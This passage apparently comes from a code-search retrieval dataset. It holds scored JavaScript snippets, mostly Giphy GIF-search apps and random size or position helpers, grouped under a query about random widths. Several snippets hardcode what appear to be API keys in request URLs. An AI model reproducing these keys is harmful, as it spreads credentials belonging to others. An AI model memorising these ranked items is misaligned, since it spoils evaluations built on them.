className=\"row\">\r\n\t\t\t\t\t<div class=\"btn-group\">\r\n\t\t\t\t\t\t<button type=\"button\" className=\"btn btn-primary\" onClick={this.randomGif}>Random</button>\r\n\t\t\t\t\t\t<button type=\"button\" className=\"btn btn-primary\" onClick={this.trendingGif}>Trending</button>\r\n\t\t\t\t\t</div>\r\n\r\n\t\t\t\t\t<SearchBar onSearchTermChange={searchTerm => this.gifSearch(searchTerm)} />\r\n\r\n\t\t\t\t\t<GifDetail liveGif={this.state.currentGif}/>\r\n\t\t\t\t\t\r\n\t\t\t\t\t<GifList \r\n\t\t\t\t\t\tgifs={this.state.gifs} \r\n\t\t\t\t\t\tonGifSelect={currentGif => this.setState({currentGif})} />\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t\r\n\t\t);\r\n\t}", "title": "" }, { "docid": "076c7bb558825bb1d13035ef4b5103d1", "score": "0.5066308", "text": "function renderButtons() {\n $(\".buttons-view\").empty();\n for (let i = 0; i < moviesHistory.length; i++) {\n const a = $(\"<button>\");\n a.addClass(\"btn btn-success movie-btn\");\n a.attr(\"data-Title\", moviesHistory[i]);\n a.text(moviesHistory[i]);\n $(\".buttons-view\").prepend(a);\n }\n}", "title": "" }, { "docid": "9999165c90c083986e64ce3a47a865ca", "score": "0.50646967", "text": "function createGifs(buttonName){\n queryURL = \"http://api.giphy.com/v1/gifs/search?q=\"+buttonName+\"&api_key=ajx51k7HYzwYxx7EkWBKRME3UIbFiJrx&limit=10\";\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function(response) {\n for(var i=0; i<response.data.length; i++){\n var gifDiv=$(\"<div>\");\n var imageUrl = response.data[i].images.original_still.url;\n var imageUrl2=response.data[i].images.original.url;\n var rating=response.data[i].rating;\n var p=$(\"<p>\").text(\"Rating:\"+ rating);\n var gifImage = $(\"<img>\");\n gifDiv.prepend(p);\n gifImage.attr(\"src\", imageUrl);\n gifImage.attr(\"class\", \"gif\");\n gifImage.attr(\"data-animated\", imageUrl2);\n gifImage.attr(\"data-still\", imageUrl);\n gifImage.attr(\"data-state\", \"still\");\n gifImage.attr(\"alt\", \"gif image\");\n $(\"#images\").prepend(gifImage);\n $(\"#images\").prepend(gifDiv);\n };\n// //---------------------------------------------------------------------------------------------- animates or makes still\n $(\".gif\").on('click', function (event) {\n event.preventDefault();\n var state = $(this).attr('data-state');\n var still=$(this).attr('data-animated');\n var animated=$(this).attr('data-still');\n if (state==\"still\"){\n $(this).attr(\"src\", still);\n $(this).attr(\"data-state\", \"animate\");\n }\n else {\n $(this).attr(\"src\", animated);\n $(this).attr(\"data-state\", \"still\");\n };\n });\n });\n}", "title": "" }, { "docid": "513d4eff6add10290348712ec66c3faf", "score": "0.5064139", "text": "function displayGifButtons() {\n $(\"#gifButtonsDisplay\").empty();\n\n for (var i = 0; i < cars.length; i++) {\n var gifButton = $(\"<button>\");\n gifButton.addClass(\"car\");\n gifButton.addClass(\"btn btn-primary\")\n gifButton.attr(\"data-cars\", cars[i]);\n gifButton.text(cars[i]);\n $(\"#gifButtonsDisplay\").append(gifButton);\n }\n }", "title": "" }, { "docid": "e0a83e63a5c31020c74965488ef0aaca", "score": "0.5061419", "text": "function renderButtons() {\n\n // Deleting the gifs prior to adding new gifs\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-view\").empty();\n\n // Looping through the array of gifs\n for (var i = 0; i < topics.length; i++) {\n\n // Then dynamicaly generating buttons for each gif in the array\n var a = $(\"<button>\");\n // Adding a class of character-btn to our button\n a.addClass(\"character-btn\");\n // Adding a data-attribute\n a.attr(\"data-name\", topics[i]);\n // Providing the initial button text\n a.text(topics[i]);\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(a);\n }\n}", "title": "" }, { "docid": "8d1e60de1f6037f73e31290af1783e7c", "score": "0.5061004", "text": "function gifsDisplay() {\n\t\tvar sport = $(this).attr(\"data-name\");\n\t\tvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + sport + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n\t\t// Creating an AJAX call for the specific sport button that is clicked\n\t\t$.ajax({\n\t\t\turl: queryURL,\n\t\t\tmethod: 'GET'\n\t\t}).done(function(response) {\n\t\t\tconsole.log(response);\n\t\t\t$(\"#gifcontainer\").empty();\n\t\t\t// Storing the response data\n\t\t\tvar results = response.data;\n\t\t\tfor (var i = 0; i < results.length; i++) {\n\t\t\t\t// Creating a div to hold the gif\n\t\t\t\tvar gifDiv = $(\"<div>\");\n\t\t\t\tgifDiv.addClass(\"gifDiv\"); // added class for styling purposes\n\t\t\t\t// Getting the rating and creating the element to hold the rating\n\t\t\t\t//var rating = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n\t\t\t\t//gifDiv.append(rating);\n\t\t\t\t// Getting gif images\n\t\t\t\tvar image = $(\"<img>\");\n\t\t\t\timage.attr(\"src\", results[i].images.fixed_height_small_still.url);\n\t\t\t\timage.attr(\"data-still\", results[i].images.fixed_height_small_still.url);\n\t\t\t\timage.attr(\"data-animate\", results[i].images.fixed_height_small.url);\n\t\t\t\timage.attr(\"data-state\", \"still\");\n\t\t\t\timage.addClass(\"image\");\n\t\t\t\tgifDiv.append(image);\n\t\t\t\t$(\"#gifcontainer\").prepend(gifDiv);\n\t\t\t\t// Getting the rating and creating the element to hold the rating\n\t\t\t\tvar rating = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n\t\t\t\tgifDiv.append(rating);\n\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "521a32fb3422912126f8f055e2d8f907", "score": "0.50444597", "text": "async function init_trending() {\r\n /**\r\n * This function generates a request to api in trending endpoint\r\n * and show 25 most populars gifs in carousel\r\n */\r\n \r\n try {\r\n const limit_search = gifs_trending //25\r\n let url = `https://api.giphy.com/v1/gifs/trending?api_key=${APIKEY}&limit=${limit_search}`\r\n const res = await fetch(url)\r\n let gif_trending_res = await res.json()\r\n create_html_gif_element(gif_trending_res,carousel_container)\r\n assign_events_items(carousel_container)\r\n\r\n } catch (err) {\r\n console.error(err)\r\n }\r\n\r\n}", "title": "" }, { "docid": "cf5b51b26e2cbf145081fa30e31f5aa6", "score": "0.50443864", "text": "function displayCartoonGifs() {\n $(\".gifsView\").empty();\n\n var cartoon = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + cartoon + \"&api_key=3GECPB0qGCDBoquA6dm3LSSFpVpmwHgM&limit=10\";\n\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n\n .done(function (response) {\n console.log(response);\n displayCartoonButton();\n\n //show results of gifs from Json\n var results = response.data;\n\n for (var i = 0; i < results.length; i++) {\n //put gifs in a div\n var gifDiv = $(\"<div1>\");\n //get rating of gif\n var gifRating = $(\"<p>\").text(\"Rating : \" + results[i].rating);\n gifDiv.append(gifRating);\n\n //pull gif\n var gifImage = $(\"<img>\");\n gifImage.attr(\"src\", results[i].images.fixed_height_small_still.url);\n //paused images\n gifImage.attr(\"data-still\", results[i].images.fixed_height_small_still.url);\n //animated images\n gifImage.attr(\"data-animate\", results[i].images.fixed_height_small.url);\n //how images come in, already paused\n gifImage.attr(\"data-state\", \"still\");\n gifImage.addClass(\"image\");\n gifDiv.append(gifImage);\n //add new div to existing divs\n $(\".gifsView\").prepend(gifDiv);\n }\n });\n}", "title": "" } ]
68d8a6599b7c5f981b48a3ea8c0ba681
NEW FUNCTION generate random positions value for Width
[ { "docid": "702c9abeff903b32594b60819b6e9877", "score": "0.76439476", "text": "function generateRandomWidth() {\n //the width of the window.\n var num = Math.floor(Math.random() * (($(window).width() - 250) - 100 + 1) + 100);\n return num;\n }", "title": "" } ]
[ { "docid": "94d6ea566ee78af272a06cf266ea0e5b", "score": "0.81539327", "text": "function randomWidth(){\n return (Math.random() * 2 + 4) * 10;\n}", "title": "" }, { "docid": "c1d92c22ff03233c7db03f4120eb4c60", "score": "0.7452136", "text": "function getPresettedRandomByWidth(index){\n return Math.abs(Math.sin(Math.abs(Math.sin(index)*1000)));\n }", "title": "" }, { "docid": "3f18e3d5ec650daa75055e1dca294518", "score": "0.740183", "text": "function alleyWidth(){\n return Math.floor(Math.random() * MAX_ALLEY_WIDTH);\n}", "title": "" }, { "docid": "66eee362f1de9f8e70f40190424e1db5", "score": "0.73669124", "text": "function randomSize() {\n return Math.floor((Math.random() * 400)) + \"px\";\n }", "title": "" }, { "docid": "8dba4a5e2c9f5f55fc5de9e183e56dd3", "score": "0.70184547", "text": "function getRandomPosition(num) {\n return `${Math.floor(Math.random() * num)}px`\n}", "title": "" }, { "docid": "1543fd0ea58e248320cb414804ec6cb9", "score": "0.6927602", "text": "function randVal() {\n //worry about initial position -- fixed\n return Math.floor(Math.random() * (gameWH / cellWH));\n }", "title": "" }, { "docid": "8c2449b287b2602d70cf6ad8560e7cfd", "score": "0.68994534", "text": "function randomPosH(){\n return Math.floor(Math.random() * (CANVASHEIGHT - 50)) + 26;\n}", "title": "" }, { "docid": "240b8123c4eb06b8ae8d111ca2039318", "score": "0.685666", "text": "function generateRandomLeft() {\n var num = Math.floor(Math.random() * (($(window).width() - 250) - 100 + 1) + 100);\n return num;\n }", "title": "" }, { "docid": "bd7c986cceddc8cdfaa43bb755c69245", "score": "0.68551344", "text": "function getRandomX() {\n return Math.floor(Math.random() * window.innerWidth);\n}", "title": "" }, { "docid": "64887c131ac2688f213016ae48b967e9", "score": "0.6853321", "text": "function getRndInteger(minWidth, maxWidth){\r\n return Math.floor(Math.random()*(maxWidth-minWidth) ) + minWidth;\r\n}", "title": "" }, { "docid": "9f3770a6fd2364ad730df3b407074b36", "score": "0.6780766", "text": "function randomOffset() {\n return Math.floor(Math.random() * SIZE / GRID_SIZE) * GRID_SIZE;\n }", "title": "" }, { "docid": "8ccd39d72cba69d4854accee6fdd638e", "score": "0.6778857", "text": "function getRandomSize() {\n\treturn Math.floor(Math.random() * 10) + 310;\n}", "title": "" }, { "docid": "6fa14ef6fdb20f0073c79aab035c18e2", "score": "0.6739573", "text": "function helperGeneratePosition() {\n var randomX = Math.floor(Math.random() * that.width);\n var randomY = Math.floor(Math.random() * that.height);\n return [randomX, randomY];\n }", "title": "" }, { "docid": "324bfb634fedd6dba60e45deb6369675", "score": "0.6739505", "text": "function randomLength() {\n return Math.random() * 2\n }", "title": "" }, { "docid": "7d6a66104a350aab63ea8e7c245e4268", "score": "0.662514", "text": "function randomizerX() {\n return Math.floor(Math.random() * (1000 - 200) + 200);\n}", "title": "" }, { "docid": "410bbe7e8e3daa73340d29a7c6c3f785", "score": "0.66096663", "text": "function widthRect() {\r\n if (points <= 50) {\r\n width = (30 * (Math.ceil(Math.random() * 20)));\r\n return width;\r\n } else if (points <= 150) {\r\n width = (30 * (Math.ceil(Math.random() * 15)));\r\n level = 2;\r\n return width;\r\n } else if ( points <= 250) {\r\n width = (30 * (Math.ceil(Math.random() * 10)));\r\n level = 3;\r\n return width;\r\n } else {\r\n width = (30 * (Math.ceil(Math.random() * 5)));\r\n level = 4;\r\n return width;\r\n }\r\n\r\n}", "title": "" }, { "docid": "97bfb40871f7ee6137a339c5d1e6e4aa", "score": "0.6593837", "text": "function getRandomX()\n{\n var randomInt = Math.random(),\n\twinWidth = winObj.width();\n\n return Math.floor(randomInt * winWidth);\n}", "title": "" }, { "docid": "e1dc277addd18c7bb5c49702b6018620", "score": "0.65883833", "text": "function generatePos(){\n\tvar pos = {\n\t\tx:0,\n\t\ty:0\n\t}\n\tvar x = Math.ceil(Math.floor(raw_width/2)*Math.random());\n\tvar y = Math.ceil(Math.floor(raw_height/2)*Math.random());\n\tpos.x = x*(1+expand_scale) - expand_scale/2;\n\tpos.y = y*(1+expand_scale) - expand_scale/2;\n\treturn pos;\n}", "title": "" }, { "docid": "83c969431bc70c3774ceed4c7e0fe670", "score": "0.65682626", "text": "function newPositions() {\r\n\tvar height = 2*window.screen.height;\r\n\tvar width = window.screen.width -200;\r\n\tvar randomH = Math.floor(Math.random() * height);\r\n\tvar randomW = Math.floor(Math.random() * width);\r\n\treturn [randomH, randomW];\r\n}", "title": "" }, { "docid": "2408a7025ab85ee24b78110049d702e2", "score": "0.655457", "text": "randomPosition(prevPos) {\n return [\n this.gameCanvas.width + (prevPos[0] + Util.randomNum(50, 150)) + Util.randomNum(50, 150),\n this.gameCanvas.height - Util.randomNum(180, 210)\n ];\n }", "title": "" }, { "docid": "d073a0a4ef433bbfbe983bc8e674cc08", "score": "0.6491545", "text": "function getRandomCoord() {\n return Math.floor(Math.random() * gridSize) * 40;\n}", "title": "" }, { "docid": "3185cdb32678de47da9baf5b66ec5ed9", "score": "0.6448547", "text": "function createValues() {\n values=[];\n for (x = 0; x < w; x++) {\n // values.push(Math.floor(Math.random(height)));\n values[x] = Math.floor(Math.random() * (height-200) + 1);\n }\n }", "title": "" }, { "docid": "4b886d84afa83843a837f0135f13ca5e", "score": "0.64379954", "text": "function generateSize() {\n var num = Math.floor(Math.random() * (500 - 100 + 1) + 100);\n return num;\n }", "title": "" }, { "docid": "4b886d84afa83843a837f0135f13ca5e", "score": "0.64379954", "text": "function generateSize() {\n var num = Math.floor(Math.random() * (500 - 100 + 1) + 100);\n return num;\n }", "title": "" }, { "docid": "6abb273386b63b28259b9d2b6d1ac882", "score": "0.64340794", "text": "function randomAlign(){\n var rand = (Math.ceil((Math.random()*7)));\n console.log(rand);\n return rand;\n}", "title": "" }, { "docid": "bf8401e72758c1b6d91bc38cfc5ccfc0", "score": "0.64158046", "text": "function coord() { return (Math.random() * spread) - (spread / 2); } // randomly distribute a coordinate zero += spread/2.", "title": "" }, { "docid": "63461a370400443869103d300300ddb8", "score": "0.640564", "text": "function randomOffset() {\r\n\r\n\t\treturn ( Math.random() - 0.5 ) * 2 * 1e-6;\r\n\r\n\t}", "title": "" }, { "docid": "63461a370400443869103d300300ddb8", "score": "0.640564", "text": "function randomOffset() {\r\n\r\n\t\treturn ( Math.random() - 0.5 ) * 2 * 1e-6;\r\n\r\n\t}", "title": "" }, { "docid": "66640f5e340eae0255e8db784dcd2959", "score": "0.63994217", "text": "function get_random(length) { return Math.floor(Math.random()*(length)); }", "title": "" }, { "docid": "769102aaa819e75da136c4be4c38ea94", "score": "0.6386037", "text": "function makeNewPosition() {\n\n\n var h = $(document.body).height() - 150;//parraport a la hauteur\n var w = $(document.body).width() - 200;//parraport a la largeur\n\n var nh = Math.floor(Math.random() * h);\n var nw = Math.floor(Math.random() * w);\n\n return [nh, nw];\n\n }", "title": "" }, { "docid": "2f4ff825c8b3848782ad169fadb6d0fc", "score": "0.63838714", "text": "function generateRandomTreasurePos(width, height) {\n const x = Math.floor(Math.random() * width);\n const y = Math.floor(Math.random() * height);\n return makePos(x, y);\n}", "title": "" }, { "docid": "5290b96d8c04b856a282d144d9f94c8b", "score": "0.6370411", "text": "function createTerrain(){\n terrainY[0] = 500;\n for (var i = 1; i <= width; i++){\n if(i<width/2){terrainY[i] = terrainY[i-1] - 0.75*Math.random() }\n else{terrainY[i] = terrainY[i-1] + 0.75*Math.random() } \n }\n}", "title": "" }, { "docid": "e3c5df10b0d8381f699830cd4fe0f9d0", "score": "0.6344308", "text": "function RandomPos(length) {\n\n let i = Math.floor(Math.random() * length)\n\n return i;\n}", "title": "" }, { "docid": "986411def1498ba7caed7466e5e94965", "score": "0.6328508", "text": "randNumGen () {\n return Math.floor(Math.random()*3);\n }", "title": "" }, { "docid": "4fc54a47e870f9113417b1c26883aa71", "score": "0.6327756", "text": "function getRandomPosition() { \n var y = window.innerWidth;\n var x = window.innerHeight;\n var randomX = Math.floor(Math.random()*x);\n var randomY = Math.floor(Math.random()*y);\n return [randomX, randomY];\n}", "title": "" }, { "docid": "9aa02a39834f56f1a86dc533f54b5435", "score": "0.63259476", "text": "function norm_random(size) {\n return (Math.random() - 0.5) * size;\n}", "title": "" }, { "docid": "a58bd01c42b8b630c8edf8b8fc25d4c7", "score": "0.6321122", "text": "function randomCanvasX() {\n return Math.floor((Math.random() * gameArea.canvas.width) + 1);\n}", "title": "" }, { "docid": "18bb38dd35ed35da444bd407452c8a2b", "score": "0.6317447", "text": "function random(){\r\n return Math.floor((Math.random()*10)/3);\r\n }", "title": "" }, { "docid": "15637d902698ba9ed426fc9b8e01d8ff", "score": "0.6314721", "text": "generateXPosition() {\n\t\treturn Math.floor(Math.random() * this.FRAME_OBJECT['frameRightMargin']);\n\t}", "title": "" }, { "docid": "19ee0912892e4f4d297e2ad7fd5e70fb", "score": "0.6307171", "text": "function randomOffset() {\n\n\t\treturn ( Math.random() - 0.5 ) * 2 * 1e-6;\n\n\t}", "title": "" }, { "docid": "6121309707e9d7d76e20f69eb1b3e885", "score": "0.62756824", "text": "displace(num) {\n const {size, rough} = this;\n const max = num / (size + size) * rough;\n return (Math.random() - 0.5) * max;\n }", "title": "" }, { "docid": "8280b773b9a62732f8e2c3d92dddd8f1", "score": "0.62748516", "text": "function getRandomPosition() { \n var y = window.innerWidth;\n var x = window.innerHeight;\n var randomX = Math.floor(Math.random()*x);\n var randomY = Math.floor(Math.random()*y);\n return [randomX,randomY];\n }", "title": "" }, { "docid": "ca3f655851bc567a100bec7f11017013", "score": "0.62707824", "text": "makeRandomVector() {\n var cols = floor(windowWidth / this.scl);\n var rows = floor(windowHeight / this.scl);\n var vector = createVector(floor(random(cols)), floor(random(rows)));\n vector.mult(this.scl);\n return vector;\n }", "title": "" }, { "docid": "8cedae82d113d07eadd79fb5ff49c5a8", "score": "0.62627876", "text": "randomPos() {\n var pos;\n do {\n pos = Math.random() * this.game.screen.canvasWidth;\n } while (pos > (this.sizeX / 2) && pos < this.game.screen.canvasWidth - (this.sizeY / 2));\n\n this.x = pos;\n }", "title": "" }, { "docid": "0929a6cb4883e53846c0a71a0233046b", "score": "0.62572116", "text": "function getRandomPosition() {\n let sign = Math.floor(Math.random() * 10);\n let rnd;\n if (sign % 2 == 0) {\n rnd = Math.floor(Math.random() * (15.5));\n }\n else {\n rnd = Math.floor(Math.random() * (-15.5));\n }\n return rnd;\n }", "title": "" }, { "docid": "b5d53bf41c530c3322ded84efe0581c8", "score": "0.6255664", "text": "function randomx(){\n return Math.floor((Math.random() * 500) + 1);\n }", "title": "" }, { "docid": "18cb3029c47ec2a1ea9502e90438568d", "score": "0.62517965", "text": "function makeNewPosition(){\n\t // \n\t var h = $('#board').height() + 10;\n\t var w = $('#board').width() + 10;\n\n\t var nh = Math.floor(Math.random() * h);\n\t \tvar nw = Math.floor(Math.random() * w);\n\t \n\t return [nh,nw]; \n\t}", "title": "" }, { "docid": "34150d8896de0fc7ea5d61caf300d355", "score": "0.6247071", "text": "get_random_position() {\n let min = 0;\n let max = this.maximum_number_of_squares;\n return Math.floor(Math.random() * max) + min; // Random from [0 to 80] (if the board is 9x9)\n }", "title": "" }, { "docid": "419d85edc55cafc553cbf23abef0e580", "score": "0.6241073", "text": "function random() {\n m_z = (36969 * (m_z & 65535) + (m_z >> 16)) & mask;\n m_w = (18000 * (m_w & 65535) + (m_w >> 16)) & mask;\n var result = ((m_z << 16) + m_w) & mask;\n result /= 4294967296;\n return result + 0.5;\n }", "title": "" }, { "docid": "154b523c8e8361d329d3265a3f7605cb", "score": "0.6237114", "text": "function random()\n{\n m_z = (36969 * (m_z & 65535) + (m_z >> 16)) & mask;\n m_w = (18000 * (m_w & 65535) + (m_w >> 16)) & mask;\n var result = ((m_z << 16) + m_w) & mask;\n result /= 4294967296;\n return result + 0.5;\n}", "title": "" }, { "docid": "10bb299be37945ade230ec45cd667314", "score": "0.62269115", "text": "function generateStartingPosition() {\n var startingPoint = Math.random();\n var multiplier = Math.random();\n if (multiplier >= 0.5) {return startingPoint * 15};\n return startingPoint * (-15)\n}", "title": "" }, { "docid": "39fa047517fa12cd521d194d292af718", "score": "0.622573", "text": "function generateRandomIndividual(w, h) {\n // tu código aquí\n}", "title": "" }, { "docid": "9bd35bb9fd12b78954112721e6cc7f9a", "score": "0.6222927", "text": "function makeNewPosition(){\n // Get viewport dimensions (remove the dimension of the div)\n var h = $(window).height() - 50;\n var w = $(window).width() - 50;\n\n var nh = Math.floor(Math.random() * h);\n var nw = Math.floor(Math.random() * w);\n return [nh,nw]; \n }", "title": "" }, { "docid": "9bc61a2bda7d3ab4747f63d780e3caac", "score": "0.62217563", "text": "function random_xy() {\n\treturn [random_number(gameSize_X), random_number(gameSize_Y)]\n}", "title": "" }, { "docid": "b7ce8d4b735f5883eee9a9a246d91286", "score": "0.6221464", "text": "function speedGen() {\n return Math.floor(Math.random() * 550) + 150;\n}", "title": "" }, { "docid": "c65aba34b40e0df7d8959b99b2f38a5e", "score": "0.6214413", "text": "function makeNewPosition() {\n\t\tvar h = gameAreaHeight - 25;\n\t\tvar w = gameAreaWidth - 25;\n\n\t\tvar nh = Math.floor(Math.random() * h);\n\t\tvar nw = Math.floor(Math.random() * w);\n\n\t\treturn [nh, nw];\n\t}", "title": "" }, { "docid": "951480d671e7d2262517ece7d64f35ba", "score": "0.62120336", "text": "static RandomClamped() {\n return Math.random() - Math.random();\n }", "title": "" }, { "docid": "b5dc9101eadedfbd2fa3ab88ec892c59", "score": "0.61997044", "text": "function randomX() {\r\n return Math.floor(Math.random() * 471); // return x value between 0 and 470\r\n}", "title": "" }, { "docid": "f818dc0ee142e5ab45ce85357282c373", "score": "0.6197159", "text": "function selectPos (){\n return Math.floor(Math.random() * (30 - 1) + 1);\n}", "title": "" }, { "docid": "06523079eb4bffdc6a8dca25d018fb94", "score": "0.61943895", "text": "function rand(len) {\n return Math.floor(Math.random()*len);\n}", "title": "" }, { "docid": "46c643ec8ac5863213a6e1769a319ebf", "score": "0.6187841", "text": "function generateRandomIndex(){\n return Math.floor(Math.random() * 9) \n }", "title": "" }, { "docid": "6357f5df379bbc7f678960703d02395a", "score": "0.61859703", "text": "function rand() {\n return Math.floor(1 + Math.random() * 9);\n }", "title": "" }, { "docid": "f1ac2b235330881c696d1ec8b98357c3", "score": "0.61783236", "text": "function determineX(){\n y2 = y1;\n if (x2 > width/2){\n x2 = x2 + random(-width/7);\n }\n else{\n x2 = x2 + random(width/7);\n }\n}", "title": "" }, { "docid": "6ac0226c1c9dcf6e43169b4ce7bca2e9", "score": "0.61665905", "text": "function _randomX(){\n\t\treturn Math.floor((Math.random() * 10));\n\t}", "title": "" }, { "docid": "10af45a83ae3a8472e821828237d4484", "score": "0.61619484", "text": "randomRow() {\n this.row = Math.floor(Math.random() * 100) % 3 + 1;\n return 83 * this.row - 21;\n }", "title": "" }, { "docid": "773fa36599234995075ca8765bdc37f9", "score": "0.6159732", "text": "function colNum () {\n return Math.floor(Math.random() * 256 );\n}", "title": "" }, { "docid": "b081b1f5cb38cc160f4ce4243031ee50", "score": "0.61570287", "text": "function checkWidthResult(){\n if (randomResultWidth <= widthValue-molePxSize){\n return mole.css('left', randomResultWidth + \"px\");\n } else if (widthValue === 0){\n return 0;\n } else if (randomResultWidth > widthValue || randomResultWidth < molePxSize) {\n randomResultWidth = Math.floor(Math.random() * widthValue);\n console.log(\"random width revised to \" + randomResultWidth);\n return checkWidthResult();\n }\n }", "title": "" }, { "docid": "8b84ebf9f6b8a21596a8198b23e6dd2f", "score": "0.6156095", "text": "function makeNewPosition() {\n // Get viewport dimensions (remove the dimension of the div)\n var h = $(window).height() - 50;\n var w = $(window).width() - 50;\n\n var nh = Math.floor(Math.random() * h);\n var nw = Math.floor(Math.random() * w);\n\n return [nh, nw];\n}", "title": "" }, { "docid": "720f84563cdc69cac343a7ab74cc6e00", "score": "0.61428136", "text": "reset() {\n\t\t// create a random width\n\t\tlet width = (Math.random() * (this.canvas.width / 2) ) + 100;\n\n\t\tthis.data.x = ( Math.random() * ( this.canvas.width ) );\n\t\tthis.data.y = ( ( Math.random() * ( this.canvas.height * 7 ) ) + 150 ) * (-1);\n\t\tthis.data.width = width;\n\t}", "title": "" }, { "docid": "650b0b45a34bd0ba44851d744e43e8f1", "score": "0.61376727", "text": "function generateTarget() {\n return Math.round(Math.random()*9);\n}", "title": "" }, { "docid": "c2e02c55ef60d5e0cedd1a0a44c6981a", "score": "0.6126926", "text": "function generateCoords () {\n do {\n var X = Math.random() * (canvas.width - 80) + 80\n } while (X + 120 > canvas.width)\n\n var Y = Math.random() * (-260 - 60) - 60\n return [X, Y]\n}", "title": "" }, { "docid": "3665d180e1946329af0aac885ebf90ce", "score": "0.61185676", "text": "getRandPos (min, max){\n return Math.floor( Math.random () * (max - min + 1 ) + min);\n }", "title": "" }, { "docid": "b9cdca4e445dcc3447ebba3c53bf03fa", "score": "0.61050016", "text": "randomizePosition() {\n this.x = floor(random(0, NUM_CELLS));\n this.y = floor(random(0, NUM_CELLS));\n }", "title": "" }, { "docid": "977e3325dae29ce92aea5c1ac9936b77", "score": "0.61041737", "text": "function randomXY()\r\n{\r\n\r\n\t// var bodyWidth = document.body.clientWidth-150;\r\n\t// var bodyHeight = document.body.clientHeight-150;\r\n\tlet bodyWidth = document.getElementById(\"graphContainer\").offsetWidth-120;\r\n\tlet bodyHeight =document.getElementById(\"graphContainer\").offsetHeight-120;\r\n\trandPosX =Math.floor(Math.random()*bodyWidth);\r\n\trandPosY =Math.floor(Math.random()*bodyHeight);\r\n}", "title": "" }, { "docid": "05497864d24acec215548508d7fae3fb", "score": "0.6099277", "text": "static createRandom(availWidth, availHeight, options) {\n let min = options.roomWidth[0];\n let max = options.roomWidth[1];\n let width = _rng_js__WEBPACK_IMPORTED_MODULE_0__.default.getUniformInt(min, max);\n min = options.roomHeight[0];\n max = options.roomHeight[1];\n let height = _rng_js__WEBPACK_IMPORTED_MODULE_0__.default.getUniformInt(min, max);\n let left = availWidth - width - 1;\n let top = availHeight - height - 1;\n let x1 = 1 + Math.floor(_rng_js__WEBPACK_IMPORTED_MODULE_0__.default.getUniform() * left);\n let y1 = 1 + Math.floor(_rng_js__WEBPACK_IMPORTED_MODULE_0__.default.getUniform() * top);\n let x2 = x1 + width - 1;\n let y2 = y1 + height - 1;\n return new this(x1, y1, x2, y2);\n }", "title": "" }, { "docid": "f950d1f99f88111b304efecb22881caa", "score": "0.60983425", "text": "function createRandom(){\n let move = Math.floor(Math.random() * 64) + 1\n return move\n }", "title": "" }, { "docid": "3bdb948293d58070cd299f8be91f227c", "score": "0.6091273", "text": "getDotSize() {\n return Math.floor(Math.random() * 91 + 10);\n }", "title": "" }, { "docid": "6951cdf40f89137c53b8fdc3e093b31b", "score": "0.6078536", "text": "function marginLeft() {\r\n mLeft = (30 * (Math.floor(Math.random() * (Math.abs(600 - width) / 30))));\r\n return mLeft;\r\n}", "title": "" }, { "docid": "9151c6ab8775b9f890adf0a7f84ce965", "score": "0.6074505", "text": "randomNum() { return Math.random() * (this.max - this.min) + this.min }", "title": "" }, { "docid": "8952f0dea3d95356da13b0f8be50501a", "score": "0.6072369", "text": "randomNumberXY() {\r\n let randomNumberX = Math.floor(Math.random() * this.boardSize);\r\n let randomNumberY = Math.floor(Math.random() * this.boardSize);\r\n return {\r\n x: randomNumberX,\r\n y: randomNumberY\r\n }\r\n }", "title": "" }, { "docid": "22b104f92ac10562532620ae83881569", "score": "0.6071782", "text": "function getRand() {\n return Math.floor(Math.random() * 3);\n}", "title": "" }, { "docid": "43f5c253713fbe4ebdfc4d050cee910b", "score": "0.60670716", "text": "generate () {\n return Utils.getRandomBetween(this.min, this.max)\n }", "title": "" }, { "docid": "5d244ff9cc428c731459bcfbfb4775a5", "score": "0.60548943", "text": "function tileRand() {\n return Math.floor((Math.random() * 27));\n}", "title": "" }, { "docid": "100db593b809dcf2fc313e992cf45545", "score": "0.605225", "text": "function makeNewPosition() {\n\n // Get viewport dimensions (remove the dimension of the div)\n var h = $(window).height() - 70;\n var w = $(window).width() - 30;\n\n var nh = Math.floor(Math.random() * h);\n var nw = Math.floor(Math.random() * w);\n\n return [nh, nw];\n\n}", "title": "" }, { "docid": "868d109c7e468f54b0ba2372a58fde46", "score": "0.6051678", "text": "function random() {\r\n let random = Math.floor(Math.random() * len);\r\n return random;\r\n}", "title": "" }, { "docid": "565954c6c766c7e147e1f5fe899a0b24", "score": "0.60493654", "text": "function getRandomNum(len) {\n return Math.floor(Math.random() * len) \n \n}", "title": "" }, { "docid": "0ac5269f829fd4887a360d691da98f2c", "score": "0.60463315", "text": "static generateSample() {\r\n\t\treturn getGaussianRand(randomVectorLength)\r\n\t}", "title": "" }, { "docid": "59d16d48c178e04983b24970d1c2bac5", "score": "0.6039458", "text": "randomness() {\r\n\t\tconst result = randomVec(1, 1, 1);\r\n\t\tresult.clampLength(RAN_WEIGHT, RAN_WEIGHT);\r\n\t\treturn result;\r\n\t}", "title": "" }, { "docid": "ba4e9d3eb807d0698e19cc235a3b5ad1", "score": "0.60372657", "text": "function getSize(){\n\treturn sizes[Math.floor(Math.random()*sizes.length)];\n}", "title": "" }, { "docid": "c0ce52d44eb9a8c75d4c9b0a27fb22cc", "score": "0.60265326", "text": "function pickRndm(length) {\n var num = Math.floor(Math.random() * length);\n return num;\n }", "title": "" }, { "docid": "780c75210127a281e037b741cf49c569", "score": "0.60176104", "text": "function randint(mx) {\n return Math.floor(Math.random()*mx);\n }", "title": "" }, { "docid": "08184296464cc79ea56fcf55d409450f", "score": "0.6015804", "text": "random() {\n this.m_z = (36969 * (this.m_z & 65535) + (this.m_z >> 16)) & this.mask;\n this.m_w = (18000 * (this.m_w & 65535) + (this.m_w >> 16)) & this.mask;\n let result = ((this.m_z << 16) + (this.m_w & 65535)) >>> 0;\n result /= 4294967296.0;\n return result;\n }", "title": "" }, { "docid": "bbbd9f3e3e01bfaf4d0625aa95bc3a1f", "score": "0.60127884", "text": "getRandomArray(width, height) {\n var result = [];\n for (var i = 0; i < height; i++) {\n var temp = [];\n 